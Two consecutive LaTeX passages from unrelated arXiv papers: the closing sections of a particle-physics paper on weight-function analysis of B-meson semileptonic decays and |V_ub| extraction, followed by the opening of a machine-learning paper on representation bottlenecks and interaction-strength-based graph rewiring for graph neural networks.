Short-dashed line: Pole scheme. For comparison, we also show the
direct computation of $F_u(\Delta)$ from (\ref{eq:Fu})
(thick grey line).}
}
\end{center}
\end{figure}
\begin{figure}[!t]
\begin{center}
\includegraphics[width=0.45\textwidth]{plots/WeightVsDir_mu.eps}
\hspace{1.3em}
\includegraphics[width=0.45\textwidth]{plots/WeightVsDir_mc.eps}
\parbox{0.94\textwidth}{
\caption{\label{fig:weightvsdir2}\small
Predictions for $F_u(\Delta)$ using the weight function~(\ref{eq:weightfunc})
and the theoretical $b \to c$ spectrum~(\ref{eq:dGammac}) on the basis
of the shape-function model S5 in (\ref{eq:S5}). The left plot shows the
scale dependence ($1$~GeV$< \mu_i < 2.25$~GeV)
of the result using the PS scheme. The right plot shows the
effect of varying $m_c^{\rm PS}$ by $\pm 0.15$~GeV around its
default value.
}
}
\end{center}
\end{figure}
In this sub-section we carry out the weight-function analysis using
the theoretical $b\to c$ spectrum from (\ref{eq:dGammac}) as input.
This will help us estimate some of the perturbative uncertainties
inherent to our approach.
We start by constructing the partially integrated $b\to u$
spectrum $F_u(\Delta)$ from the theoretical $b \to c$
spectrum (\ref{eq:dGammac})
and the weight function $W(\Delta,U)$,
using the shape-function model from (\ref{eq:S5}).
In Fig.~\ref{fig:weightvsdir1} we compare the
so-obtained results for $F_u(\Delta)$ in
the PS, pole, and $ \overline{\rm{MS}}$ schemes. We also show the result
of the direct computation from (\ref{eq:Fu}).
The difference between the curves is
formally an ${\cal O}(\alpha_s^2)$ effect, and thus gives a rough
measure of higher-order perturbative effects. We observe
that in the pole scheme this effect is quite large for values
of $\Delta$ below $700$~MeV or so.
At our reference point $\Delta =650$~MeV we obtain
\begin{eqnarray}
F_u(0.65~{\rm GeV}) &=& 0.71 \qquad \mbox{from (\ref{eq:dGammac}) and
(\ref{eq:weight}), PS scheme} \ ,
\cr
F_u(0.65~{\rm GeV}) &=& 0.62 \qquad \mbox{from (\ref{eq:dGammac}) and
(\ref{eq:weight}), pole scheme} \ ,
\cr
F_u(0.65~{\rm GeV}) &=& 0.76 \qquad \mbox{from (\ref{eq:dGammac}) and
(\ref{eq:weight}), $\overline{\rm MS}$ scheme} \ ,
\label{eq:Futheo}
\end{eqnarray}
compared to
\begin{eqnarray}
F_u(0.65~{\rm GeV}) &=& 0.79 \qquad \mbox{from (\ref{eq:Fu})} \ ,
\end{eqnarray}
from which we deduce a residual scheme dependence for $F_u(\Delta)$
of about 10-15\%.
In Fig.~\ref{fig:weightvsdir2} we investigate the explicit $\mu_i$\/
and $m_c$ dependence induced by the weight function
(to isolate these effects, we fix $m_c$ and $\mu_i$ in
the theoretical expression (\ref{eq:dGammac}) for the $b \to c$
spectrum). The charm-mass dependence is a small effect,
less than 10\% for reasonably large values of $\Delta$.
The dependence on the factorization scale $\mu_i$ is still sizeable,
about 10-15\%. The perturbative uncertainties related to
the scheme and factorization-scale dependence
could be resolved by calculating the $\alpha_s^2$
corrections to the jet function in the massive case.
\subsection{Numerical analysis using a toy spectrum}
The purpose
of this sub-section is to point out some aspects of the
weight-function analysis that would be important when dealing
with the physical $b\to c$ spectrum.
A distinctive feature of this spectrum is that
that the lowest-lying spin-symmetry doublet of
charmed states $D$ and $D^*$
already makes up about 80\% of the semi-leptonic rate.
For an on-shell $D(D^*)$ meson we formally have
\begin{equation}
U_{D(D^*)} = \frac{M_{D(D^*)}^2-m_c^2}{n_+P} \ll \Delta
\qquad (n_+P \sim m_b) \ .
\end{equation}
Therefore, about 80\% of the $U$ spectrum is centered around ``small''
values of $U$ (we put ``small'' in quotation marks, because numerically
$(M_D^2-m_c^2)/m_b \simeq 350~$MeV in the PS scheme).
We will perform the weight-function analysis on
a toy spectrum which takes this resonance structure into account.
We construct this spectrum by assuming that the doubly-differential
decay spectrum is concentrated along the $D/D^*$\/-pole
and modulated by some function $f(y)$,
\begin{eqnarray}
\frac{1}{\Gamma_c} \, \frac{d^2\Gamma_c}{d(n_-P) dy} &\simeq &
\frac{m_b \, y^2}{\overline M_D^2} \, f(y) \,
\delta\left(y - \frac{\overline M_D^2}{n_-P \, m_b}\right) \,
\label{model2}
\end{eqnarray}
where $\int_0^1 dy \, f(y) =1$, and $\overline M_D =1.975$~GeV is a
weighted average of the $D$ and $D^*$ masses.
We can derive the $U$ spectrum (in a given mass scheme)
from this model by taking
$$
n_-P = U + \frac{m_c^2}{y m_b}
$$
and performing the integral over $y$, which yields
\begin{eqnarray}
\frac{1}{\Gamma_c} \, \frac{d\Gamma_c}{dU} &\simeq &
\frac{{\overline M}_D^2-m_c^2}{m_b U^2} \,
f\left(\frac{{\overline M}_D^2-m_c^2}{m_b U}\right) \,
\theta\left(U - \frac{\overline M_D^2-m_c^2}{m_b}\right) \,
\label{model1} .
\end{eqnarray}
For the following discussion, we use a simple parameterization
\begin{eqnarray}
f(y) &=& \frac{\Gamma(2+\alpha+\beta)}{\Gamma(1+\alpha)\Gamma(1+\beta)}
\, y^\alpha \, (1-y)^\beta
\end{eqnarray}
and fix the parameters $\alpha = 3.66$ and $\beta=-0.51$
by requiring that $F_c(\Delta)$ at $\Delta=650$~MeV,
and $d\Gamma_c/dU$ at $U=550$~MeV coincide
with the theoretical expressions in the PS scheme.\footnote{
The reference point for $F_c(\Delta)$ is sufficiently below the
critical value $\Delta_{\rm max}=700$~MeV, and
that for $d\Gamma_c/dU$ is sufficiently above
the exclusive threshold $U_{\rm min}\simeq 450$~MeV.}
In Fig.~\ref{fig:model} we compare the $U$ spectrum
from our toy model with the theoretical prediction in the
PS scheme, using the shape-function model (\ref{eq:S5}) as
input. Fig.~\ref{fig:schemedep} shows predictions
for $F_u(\Delta)$ obtained by applying the weight-function analysis
to our toy spectrum, as well as the theoretical
curve obtained from (\ref{eq:Fu}).
We see that at smaller values of $\Delta$ the sensitivity
to the resonance structure and dependence on the mass scheme
is sizeable. On the other hand, for larger
values of $\Delta$ the resonance structure is washed out, and
the predictions obtained in different mass schemes converge.
The sensitivity to the resonance structure at moderate values of
$\Delta$ means that the phenomenologically acceptable
window for $\Delta$ in the shape-function approach is smaller
than in the $b\to u$ case, where the contributions
from the charmless ground states
$\pi$, $\eta$, $\rho$ and $\omega$ add up to only
about 25\% of the total semi-leptonic $b \to u$ rate
and are moreover centered at values of $P_+$ not much larger
than 100~MeV.
\begin{figure}[!t]
\begin{center}
\includegraphics[width=0.45\textwidth]{plots/ModelSpec.eps}
\hspace{1.3em}
\includegraphics[width=0.45\textwidth]{plots/ModelF.eps}
\parbox{0.94\textwidth}{
\caption{\label{fig:model}\small
The $U$ spectrum in $\bar B \to X_c \ell \bar \nu_\ell$ decays:
Theoretical prediction using the default model S5 for the shape
function (dashed line) vs.\ phenomenological model
(solid line) assuming the dominance of a single $D$\/-meson pole. The model
parameters are adjusted to reproduce the value of the spectrum
(left) at $U=550$~MeV as well as the integrated spectrum (right)
at $\Delta=650$~MeV.}
}
\end{center}
\end{figure}
\begin{figure}[!t]
\begin{center}
\includegraphics[width=0.45\textwidth]{plots/FuScheme.eps}
\parbox{0.94\textwidth}{
\caption{\label{fig:schemedep} \small
Predictions for the partial rate $F_u(\Delta)$ in
$\bar B \to X_u \ell \bar \nu_\ell$ from a toy spectrum in
$\bar B \to X_c \ell \bar \nu_\ell$ using the NLO weight function.
Comparison of PS scheme (solid line), pole scheme (dotted),
and $\overline{\rm MS}$ scheme (dashed)
with the theoretical result (\ref{eq:Fu}) using scenario S5
(thick grey line).}}
\end{center}
\end{figure}
These observations have important
implications for extracting $|V_{ub}|$ by relating
partially integrated $b\to u$ and $b\to c$ decay spectra.
To apply our results to $b\to c$ decays, it is crucial that
the cut-off parameter $\Delta$ be sufficiently large
to avoid sensitivity to the shape of the
spectrum in the resonance region. To apply them to
$b\to u$ decays, $\Delta$ must be small enough to suppress
the charm background, which sets in
at $\Delta\sim 650$~MeV. Balancing between the two cases
restricts the cut-off parameter $\Delta$ to a
rather small window.
We also observe that the weight-function analysis with our toy model
systematically underestimates the result for $F_u(\Delta)$ compared
to the ``true'' result (\ref{eq:Fu}).
For instance, at our reference point $\Delta = 0.65$~GeV,
we have
\begin{eqnarray}
F_u(0.65~{\rm GeV}) &=& 0.79 \qquad \mbox{from (\ref{eq:Fu})} \ , \\
F_u(0.65~{\rm GeV}) &=& 0.55 \qquad \mbox{from
toy model and (\ref{eq:weight}),
PS scheme} \ .
\label{eq:Futoy}
\end{eqnarray}
This is due at least in part to the crudeness of our model,
which completely ignores the non-negligible continuum contribution.
While we could refine our model to take this into account,
we think that such fine-tuning is best resolved by experimental
input.
\section{Conclusions}
\label{sec:conclusions}
We analyzed perturbative corrections to
$\bar B\to X_c \ell \bar\nu_\ell$ decays
using the power counting $m_c\sim \sqrt{\Lambda_{\rm QCD} m_b}$
for the charm-quark mass. This treatment implies
that a certain class of partially integrated $b\to c$ decay spectra
is sensitive to the non-perturbative shape-function
effects familiar from $\bar B\to X_u \ell \bar\nu_\ell$ decays.
With the aid of soft-collinear effective theory, we showed that
the one-loop corrections to such
decay spectra can be written as a
convolution of hard, jet, and shape functions.
The hard and shape functions are identical to those
found in the factorization formula for
$\bar B\to X_u \ell \bar\nu_\ell$ decays,
but the jet function depends explicitly on $m_c$
and hence receives non-trivial corrections
unique to decay into charm quarks.
We calculated these corrections at NLO
in perturbation theory and at
leading order in the $1/m_b$ expansion, and
derived a shape-function independent
relation between partially integrated
$\bar B\to X_c \ell \bar\nu_\ell$ and
$\bar B\to X_u \ell \bar\nu_\ell$ decay spectra.
This relation can be used to determine $|V_{ub}|$.
Numerical studies raised some issues
related to this treatment. First,
the portion of phase-space where the shape-function
approach is valid is somewhat smaller in
$\bar B\to X_c \ell \bar\nu_\ell$ decays than in the charmless
case. Second, although the results are formally independent
of the renormalization scheme used to define
the charm-quark mass, the numerical
dependence on the mass scheme is significant.
Finally, the structure of power
corrections is slightly more complicated than in
the charmless case, since one encounters not only
sub-leading shape functions, but also kinematic
power corrections. Some of the power corrections are
enhanced by large logarithms $\ln(m_c^2/m_b^2)$.
Our study may help improve the understanding
of inclusive $B$ decays in the shape-function region.
On the one hand, it provides additional information
for the extraction of $|V_{ub}|$. On the other hand,
it may offer an additional testing ground for theoretical
methods based on factorization and soft-collinear effective
theory. To explore these ideas further would require
experimental information on the partially integrated
$\bar B\to X_c \ell \bar\nu_\ell$ decay spectrum used
in our analysis.
\section*{Acknowledgements}
This work was supported by the DFG Sonderforschungsbereich SFB/TR09
``Computational Theoretical Particle Physics'' and by the German
Ministry of Education and Research (BMBF).
|
1,477,468,750,067 | arxiv | \section{Introduction}
Over the past few years, \emph{graph neural networks} (GNNs)~\citep{gori2005new,scarselli2008graph,bruna2013spectral,kipf2016semi,hamilton2017inductive,dwivedi2020benchmarking} have witnessed sharply growing popularity thanks to their ability to deal with broad classes of graphs with complex relationships and interdependence between objects, ranging from social networks~\citep{fan2019graph} to computer programs~\citep{nair2020funcgnn}. Particularly, GNNs show promising potential in scientific research. They are used to derive insights from structures of molecules~\citep{wu2018moleculenet} and reason about relations in a group of interacting objects~\citep{huang2022equivariant}.
For instance, chemists employ GNNs to reduce computation time for predicting molecular properties~\citep{schutt2017quantum,schutt2018schnet,xie2018crystal,chen2019graph,xiong2019pushing,rong2020self,zhang2020molecular}, where the complex interactions between atoms are modeled by passing messages. Many subsequent efforts have been devoted to fully leveraging 3D geometric information such as directions~\citep{klicpera2020directional,klicpera2020fast} and dihedral angles~\citep{klicpera2021gemnet,liu2021spherical}. Physicists also utilize GNNs to characterize arbitrarily ordered objects and combinatorial relations. Some employ Interaction Networks~\citep{battaglia2016interaction} to model particle systems in diverse physical domains~\citep{li2018learning,mrowca2018flexible,sanchez2020learning}. Since physical rules stay stable regardless of the reference coordinate system, several works~\citep{ingraham2019generative,fuchs2020se,hutchinson2021lietransformer,satorras2021n} have explored equivariance upon GNNs and showed remarkable benefits.
As a consequence, the startling success of GNNs provokes the bottleneck question--``Are there any common limitations of GNNs in real-world modeling applications, such as molecules and dynamic systems?'' Knowing that GNNs are typically expressed as a neighborhood aggregation or message passing scheme~\citep{gilmer2017neural,velickovic2017graph}, we leverage the interactions between input variables~\citep{deng2021discovering} to investigate the bottleneck of GNNs in graph learning. That is, we aim to analyze which types of interaction patterns (e.g., certain physical or chemical concepts) are likely to be encoded by GNNs, and which other types are difficult to manipulate.
As a relevant answer to the bottleneck question mentioned above, the preceding work observes the liability of CNNs to capture too complex and too simple interactions~\citep{deng2021discovering}, which differs dramatically from human recognition.
To comprehensively explore the representation capability of GNNs, we refine the measurement of multi-order pairwise interactions so that the metric works for both node-level and graph-level predictions. {When formulating the pairwise interactions, we study two common graph construction methods in scientific domains, including \emph{K-nearest neighbor} (KNN) graphs and \emph{fully-connected} (FC) graphs}.
Then with massive empirical evidence from two real-world graph learning problems--molecular representation learning and dynamic system modeling, we discover that, as opposed to CNNs' behavior, GNNs are astonishingly more capable of encoding intermediate complexity interactions. This discovery is perfectly consistent with the practice that pharmacologists are interested in identifying subgraphs that primarily represent specific molecular properties, e.g., functional groups~\citep{gilmer2017neural,jin2020multi,yu2020graph,wang2021towards}.
Despite that inclination, we detect that the imperfect inductive bias introduced by KNN-graphs and FC-graphs prohibits GNNs from encoding a particular order of interactions, so they fail to achieve the global minimum loss. We name this phenomenon as \emph{a representation bottleneck} of GNNs. To resolve this obstacle, we propose a novel graph rewiring technique based on the distribution of interaction strengths, which progressively optimizes the inductive bias of GNNs via calibrating the topological structures of input graphs. Experiments on both synthetic and real-world datasets validate the superiority of our method in terms of GNN interpretability and generalization.
\section{Preliminary}
\paragraph{Multi-order interactions.} Suppose a graph has a set of $N$ variables of interest (a.k.a. nodes). It could represent a macroscopic physical system with $N$ celestial bodies, or a microscopic biochemical system with $N$ atoms or particles, denoted as $[N]$. Given a pre-trained GNN model $f$, let $f([N])$ represent the model output of all input variables. For node-level tasks, the GNN forecasts a value (e.g., atomic energy) or a vector (e.g., atomic force or velocity) for each node. For graph-level predictions, $f([N])\in \mathbb{R}$ is a scalar (e.g., drug toxicity or binding affinity) for classification and regression. GNNs make predictions by interactions between input variables instead of working individually on each variable~\citep{qi2018learning,li2019fi,lu2019molecular,huang2020skipgnn}. Previous studies~\citep{bien2013lasso,tsang2017detecting,zhang2020interpreting,deng2021discovering} mainly concentrate on the pairwise interactions and use the multi-order interaction $I^{m}(i,j)$ to measure interactions of different complexities between two input variables $i,j\in[N]$.
\paragraph{Representation bottleneck.} Specifically, the $m$-th order interaction $I^{(m)}(i,j)$ measures the average interaction utility between variables $i,j$ under all possible contexts consisting of $m$ variables. Mathematically, the multi-order interaction is defined as follows:
\begin{equation}
\label{multi_order_interaction}
I^{(m)}(i, j)=\mathbb{E}_{S \subseteq [N],\{i,j\}\subseteq S, |S|=m}[\Delta f(i, j, S)], 3\leq m\leq N,
\end{equation}
where $\Delta f(i, j, S)=f(S)-f(S \backslash\{i\})-f(S \backslash\{j\})+f(S\backslash \{i, j\})$ and $S\in[N]$ is the context consisting of $m$ variables. $f(S)$ is the output when we keep variables in $S$ unchanged but alter variables in $[N]\backslash S$. Since it is irrational to feed an empty graph into a GNN, we demand the context $S$ to have at least one variable with $m\geq 3$ and omit the $f(\emptyset)$ term. Note that~\citet{zhang2020interpreting} assume variables $i,j$ do not belong to the context $S$. Contrarily, we argue that it is more reasonable to interpret $m$ as the contextual complexity of the interaction if variables $i,j$ are included in the context, and provide a proof in Appendix~\ref{I_m} that these two cases are equivalent but from different views.
To measure the reasoning complexity of the DNN, researchers compute the relative interaction strength $J^{(m)}$ of the encoded $m$-th order interaction as follows:
\begin{equation}
\label{strength}
J^{(m)}=\frac{\mathbb{E}_{x \in \Omega}\left[\mathbb{E}_{i, j}\left[\left|I^{(m)}(i, j \mid x)\right|\right]\right]}{\sum_{m^{\prime}}\left[\mathbb{E}_{x \in \Omega}\left[\mathbb{E}_{i, j}\left[\left|I^{\left(m^{\prime}\right)}(i, j \mid x)\right|\right]\right]\right]},
\end{equation}
where $\Omega$ stands for the set of all samples, and the strength $J^{(m)}$ is calculated over all pairs of input variables in all data points. Then normalize $J^{(m)}$ by the summation value of $I^{(m)}(i, j \mid x)$ with different orders rather than the average value in ~\citep{deng2021discovering} to constrain $0\leq J^{(m)}\leq 1$ for explicit comparison across various tasks and datasets.
According to the efficiency property of $I^{(m)}(i, j)$~\citep{deng2021discovering}, the change of DNN parameters $\Delta W$ can be decomposed as the sum of gradients $\frac{\partial I^{(m)}(i, j)}{\partial W}$. Mathematically, we denote $L$ as the loss function and $\eta$ as the learning rate. With $U=\sum_{i \in N} f(\{i\})$, and $R^{(m)}=-\eta \frac{\partial L}{\partial f(N)} \frac{\partial f(N)}{\partial I^{(m)}(i, j)}$, it can be attained:
\begin{equation}
\label{delta_W}
\Delta W=-\eta \frac{\partial L}{\partial W}=-\eta \frac{\partial L}{\partial f(N)} \frac{\partial f(N)}{\partial W}=\Delta W_{U}+\sum_{m=3}^{n} \sum_{i, j \in N, i \neq j} R^{(m)} \frac{\partial I^{(m)}(i, j)}{\partial W},
\end{equation}
\section{Revisiting Bottlenecks of DNNs}
\begin{wrapfigure}{r}{0.4\textwidth}
\vspace{-1.5em}
\centering
\includegraphics[scale=0.37]{order_3.pdf}
\vspace{-1em}
\caption{The theoretical distributions of $F^{(m)}$ under different $n$.}
\vspace{-2.5em}
\label{order_3}
\end{wrapfigure}
Before investigating the representation bottleneck of GNNs, we first retrospect relevant findings of DNNs. With this Equ.~\ref{delta_W},~\citet{deng2021discovering} use $\Delta W^{(m)}(i, j)=R^{(m)} \frac{\partial I^{(m)}(i, j)}{\partial W}$ to represent the compositional component of $\Delta W$ w.r.t. $\frac{\partial I^{(m)}(i, j)}{\partial W}$ and claim that it is proportional to $F^{(m)}=\frac{n-m+1}{n(n-1)} / \sqrt{\binom{n-2}{m-2}}$. Despite their delicate theoretical framework, a simple counterexample is when $\frac{m}{n}\rightarrow 0$ or $\frac{m}{n}\rightarrow 1$, $F^{(m)}$ ought to be approximately the same (see Fig.~\ref{order_3}). This is in conflict with the experimental curves in~\citep{deng2021discovering}, where $J^{(m)}$ of low-order (e.g., $m=0.05n$) is much higher than that of high-order (e.g., $m=0.95n$). Notably, there we disregard the empty set $\emptyset$ as the input for DNNs. In Appendix~\ref{F^{(m)}}, we demonstrate that even if $f(\emptyset)$ is taken into consideration, once $n$ is large (e.g, $n\geq 100$), $J^{(m)}$ ought to be non-zero only when $\frac{m}{n}\rightarrow 0$. This phenomenon indicates that DNNs fail to capture any middle-order or high-order interactions, which is strongly opposed to the truth that DNNs perform well in tasks that require high-order interactions such as protein interface prediction~\citep{liu2020deep}.
\begin{wrapfigure}{r}{0.5\textwidth}
\centering
\vspace{-1.5em}
\includegraphics[scale=0.18]{str_order_cnn.pdf}
\vspace{-1.75em}
\caption{The change of interaction strengths for ResNet on CIFAR-10 and ImageNet, measured after various training epochs.}
\label{str_order_cnn}
\vspace{-2.0em}
\end{wrapfigure}
Based on this fact, we ascribe~\citet{deng2021discovering}'s inaccurate statement to their flawed assumption. To be explicit, we show empirically in Appendix~\ref{normal_test}, where the hypothesis that the derivatives of $\Delta f(i, j, S)$ over model parameters, i.e., $\frac{\partial \Delta f(i, j, S)}{\partial W}$, conform to normal distributions should be rejected. On the contrary, $\frac{\partial \Delta f(i, j, S)}{\partial W}$ varies along with the contextual complexities (i.e., $|S|$), which is heavily dependent on the data distribution of interaction strengths in particular datasets as well as the chosen model architectures $f$. $\frac{\partial \Delta f(i, j, S)}{\partial W}$ contains information within crucial orders of interactions that data drives the model to focus on through backpropagation. There, we define the data distribution of interaction strengths on the dataset $D$, denoted as $J^{(m)}_D$, as the experimental distribution of interaction strengths for some model $f$ with randomly initialized parameters. Accordingly, the learned interaction strength $J^{(m)}$ should be attributed more to $J^{(m)}_D$, which discloses the most informative orders of interactions to realize lower errors in specific tasks, rather than to a spurious proportion value $F^{(m)}$.
To further support our conjecture, we re-produce experiments in~\citep{deng2021discovering}. Fig.~\ref{str_order_cnn} implies that $J^{(m)}_D$ (referring to the epoch-0 curve) in image datasets including CIFAR-10~\citep{krizhevsky2009learning} and ImageNet~\citep{russakovsky2015imagenet},
coincidentally follow a pattern that low-order and high-order interactions are much stronger than middle-order, and little difference exists between $J^{(m)}_D$ and $J^{(m)}$ (referring to those non-zero epoch curves) at different epochs. Thus, the change of $J^{(m)}$ during the training process cannot verify the tendency or bottleneck that DNNs would concentrate more on low-order and high-order but neglect middle-order interactions. In contrast, our subsequent experiments have confirmed the fact that GNNs are more inclined to emphasize interactions of middle-level complexities.
\section{Representation Bottleneck of GNNs}
\subsection{Node-level Multi-order Interaction}
$I^{(m)}(i,j)$ in Equ.~\ref{multi_order_interaction} is designed to analyze the influence of interactions over the integral system (e.g., a molecule or a galaxy) and is therefore only suitable in the circumstance of graph-level prediction. No such metric exists to measure the effects of those interactions on each component (e.g., atom or particle) of the system. To overcome this limitation, we propose a new metric as the following:
\begin{equation}
\label{interaction_node}
I^{(m)}_i(j)=\mathbb{E}_{S \subseteq [N],\{i,j\}\subseteq S,|S|=m}[\Delta f_i(j, S)], 2\leq m\leq N,
\end{equation}
where $\Delta f_i( j, S)=\left\|f_i(S)-f_i(S \backslash\{j\})\right\|_p$, and $\|.\|_p$ is the $p$-norm if $f_i(.)$ outputs a vector instead of a scalar. We denote $f_i(S)$ as the output for the $i$-th variable when variables in $S$ is kept unchanged. Then the corresponding node-level interaction strength is defined as $J^{(m)}=\frac{\mathbb{E}_{x \in \Omega}\left[\mathbb{E}_{i}\left[\mathbb{E}_{j}\left[\left|I^{(m)}_i(j \mid x)\right|\right]\right]\right]}{\sum_{m^{\prime}}\left[\mathbb{E}_{x \in \Omega}\left[\mathbb{E}_{i}\left[\mathbb{E}_{j}\left[\left|I^{\left(m^{\prime}\right)}_i(j \mid x)\right|\right]\right]\right]\right]}$. This novel metric in Equ.~\ref{interaction_node} allows us to measure the representation capability of GNNs in node-level classification or regression tasks.
\subsection{Graph Constructions for Scientific Problems}
\paragraph{KNN vs. fully-connected graphs.} How to handle variables in $[N]\backslash S$ is critical to the formulation of $I^{(m)}(i, j)$. Nonetheless, the widely-used setting in~\citet{ancona2019explaining} for sequences or pixels is not applicable there. Contrarily, in real-world scenarios, including molecules or dynamic systems, the most crucial feature of variables (atoms or particles) is their classes (e.g., one-hot embeddings). A simple average over different molecules or systems can lead to the ambiguous atom or particle types. As an alternative, we consider dropping these variables in $[N]\backslash S$ instead of replacing them with a mean value. In particular, the deletion of those variables ought to satisfy the two succeeding properties: (1) The resulting subgraph must maintain the connectivity, where entities can reach others freely. Otherwise, if it generates multiple disjoint subgraphs, each subgraph would be an entirely independent system. This breaks the fundamental assumption in nature that molecules or dynamic systems are an organic whole and indivisible. (2) No ambiguity is intrigued from both the structural view and feature view. For instance, an element with an invalid atomic number of 3.64 is not permitted.
\begin{wrapfigure}{r}{0.45\textwidth}
\vspace{-1em}
\centering
\includegraphics[scale=0.55]{graph_types.pdf}
\caption{Different graph constructions of the compound $\chem{C_6H_6O}$.}
\vspace{-1em}
\label{graph_types}
\end{wrapfigure}
To achieve these two properties, we employ the K-nearest-neighbor (KNN) algorithm to construct graphs based on pairwise distances in the 3D space (named KNN-graph, see Fig.~\ref{graph_types} (a)), a common technique for building edges in macromolecules~\citep{fout2017protein,ganea2021independent,stark2022equibind}. When we desire to centre on $S$ and ignore other variables, subgraphs are re-constructed via KNN to ensure connectivity. We also act our analysis on fully-connected graphs (named FC-graph, see Fig.~\ref{graph_types} (b)), where all atoms or particles are connected to each other~\citep{chen2019path,wu20213d,baek2021accurate,AlphaFold2021}. Consequently, removing any entity in FC-graphs will not influence the association of other pairs. In fact, FC-graphs are a special type of KNN-graphs, where $K\geq N-1$.
Notably, unlike social networks or knowledge graphs, edges in scientific graphs are usually not explicitly defined. KNN-graphs and FC-graphs are broad practices to establish connections between entities. However, FC-graphs or KNN-graphs with a large $K$ suffer from high computational expenditure and are usually infeasible with thousands of entities. In addition, they are sometimes unnecessary since the impact from distant nodes is so minute to be ignored.
\subsection{Graph Rewiring for Inductive Bias Optimization}
\paragraph{The bottleneck of GNNs.}
While the former analysis on images indicates that $J^{(m)}_D$ of CNNs dominantly decides $J^{(m)}$, our experiments on graphs (see Section~\ref{exp}) exhibit $J^{(m)}$ of GNNs deviates from $J^{(m)}_D$. This motivates us to investigate what truly determines $J^{(m)}$.
\begin{wrapfigure}{r}{0.5\textwidth}
\centering
\includegraphics[scale=0.18]{str_order_mlp.pdf}
\vspace{-0.75em}
\caption{The change of interaction strengths for MLP-Mixer on CIFAR-10 and ImageNet.}
\vspace{-1em}
\label{str_order_mlp}
\end{wrapfigure}
Concerning CNNs, the locality is one critical inductive bias. It assumes that entities are in spatially close proximity with one another and isolated from distant ones~\citep{battaglia2018relational}, hence CNNs are bound to low-order interactions. To farther testify our argument, we examine the change of interaction strengths for MLP using MLP-Mixer~\citep{nips2021mlpmixer} in Fig.~\ref{str_order_mlp}. Though MLP shares a similar $J^{(m)}_D$ with CNN but its $J^{(m)}$ is much smoother. This is because MLP-Mixer is not constrained by the inductive bias of locality and can learn a more adorable $J^{(m)}$. Indeed, since graphs support arbitrary pairwise relational structures~\citep{battaglia2018relational}, the inductive bias of GNNs is more flexible. {It primarily depends on how to establish the topology of graphs and heavily influences $J^{(m)}$.} For example, FC-graphs consist of all pairwise relations, while in KNN-graphs, some pairs of entities possess a relation and others do not. {These graph construction mechanisms can bring improper inductive bias, resulting in a poor $J^{(m)}$ and becoming the representation bottleneck of GNNs.}
Accordingly, a more intriguing question would be what is the optimal inductive bias. In this work, we rely on the most informative order $m^*$ of interactions to modify the inductive bias of GNNs. Consequently, models are regulated to be apt to interactions of a certain order, and $J^{(m)}$ are also adjusted.
For modern GNNs, the loss $L$ is typically non-convex with multiple local and even global minima~\citep{foret2020sharpness} that may yield similar values of $L$ while acquiring significantly different capacities to learn interactions (i.e., significantly different $J^{(m)}$). As declared in Prop.~\ref{prop_local} (the explanation is in Appendix~\ref{proof}), if $J^{(m)}$ is not equivalent to the optimal strength $J^{(m)*}$, then the corresponding model $f$ must be stuck in a local minimum point of the loss surface. Recent work~\citep{deng2021discovering} imposes two losses to encourage or penalize the learning of interactions of specific complexities. Nevertheless, they require models to make accurate predictions on subgraphs, but variable removal brings the out-of-distribution (OOD) problem~\citep{chang2018explaining,frye2020shapley,wang2022deconfounding}. Such OOD subgraphs can manipulate GNNs' outcome arbitrarily and produce erroneous predictions~\citep{dai2018adversarial,zugner2018adversarial}. More importantly, these losses are based on the assumption that the image class remains regardless of pixel removal. However, it is not rational to assume that the properties of molecules or dynamic systems will be stable if we alter their components. Thus, instead of intervening the loss, we attempt to alter the inductive bias of GNNs for the sake of learning $J^{(m)*}$.
\begin{prop}
\label{prop_local}
Let $J^{(m)*}$ be the interaction strength of the function $f^*$ that achieves the global minimum loss $L^*$ in data $D$. If another model $f'$ converges to a loss $L'$ after the parameters update and $J^{(m)'} \neq J^{(m)*}$, then $L'$ must be a local minimum loss, i.e, $L'>L^*$.
\end{prop}
\begin{wrapfigure}{r}{0.45\textwidth}
\vspace{-1em}
\begin{center}
\includegraphics[scale=0.2]{loss.pdf}
\caption{Transformation of the training loss with graph rewiring in the loss surface.}
\label{loss_surface}
\vspace{-1.5em}
\end{center}
\end{wrapfigure}
\paragraph{Graph rewiring.}
Unfortunately, $J^{(m)*}$ can never be known unless sufficient domain knowledge is supplied. However, we can observe from Fig.~\ref{str_order_cnn} that in the initial training epochs (e.g., 10 or 50 epochs), CNNs do not directly dive into low-order of interactions. Instead, they still have the inclination to deviate from $J^{(m)}_D$ and learn more informative order of interactions (e.g., middle-order) regardless of the inductive bias. Motivated by this subtle tendency, we resort to the order of interactions that increase the most during training in $J^{(m)}$ as the guidance to reconstruct graphs and estimate $J^{(m)*}$. To this end, we dynamically adjust the reception fields of each entity within molecules or systems by establishing or destroying edges, as described in Algorithm~\ref{alg}. Such a method is often generically referred to as \emph{graph rewiring}~\citep{topping2021understanding}. By adjusting graph topology, i.e., the inductive bias of GNNs, the bottleneck of GNNs is broken, and $J^{(m)}$ is able to gradually approximate $J^{(m)*}$. Simultaneously, the training loss can finally reach the global minimum after gradient descent (see Fig.~\ref{loss_surface}). Emphatically, our algorithm (named ISGR) is applicable for both KNN-graphs and FC-graphs, though the latter starts with an adequately large $k_0\geq N-1$.
\begin{algorithm}
\caption{Interaction Strength-based Graph Rewiring (ISGR) Algorithm.}
\label{alg}
\begin{algorithmic}
\Require nodes $V$, pairwise distance $d$, number of neighbors $k_0$, threshold $\Bar{J}$, epoch interval $\Delta e$
\State Construct a KNN-graph with $K=k_0$ based on $d$ and compute the initial interaction strength $J^{(m)}_0$;
\For{each $\Delta e$ epochs}
\State Sample a mini-batch $B$ and calculate the corresponding interaction strengths $J^{(m)}_B$;
\If{the maximum increase of some order exceeds $\Bar{J}$, i.e., $\max\left(\Delta J^{(m)}\right) \geq \Bar{J}$}
\State Find the order whose interaction strength increases the most $m^* = \underset{m}{\mathrm{argmax}} \left(\Delta J^{(m)}\right)$;
\State Increase the number of neighboring nodes $k$ if $m^*>k$, otherwise decrease $k$;
\State Reconstruct a KNN-graph with $K=k$ and train the model with this new graph structure.
\EndIf
\EndFor
\end{algorithmic}
\end{algorithm}
\section{Experimental Settings and Results}
In this section, we present four case studies where the aforementioned framework is applied to analyze the representation bottleneck problem of GNNs for scientific research. Among them, Newtonian dynamics and molecular dynamics simulations are node-level prediction tasks, while Hamiltonian dynamics and molecular property prediction are graph-level prediction tasks. More experimental details are elucidated in Appendix~\ref{exp_detail}.
\subsection{Data and Set Up}
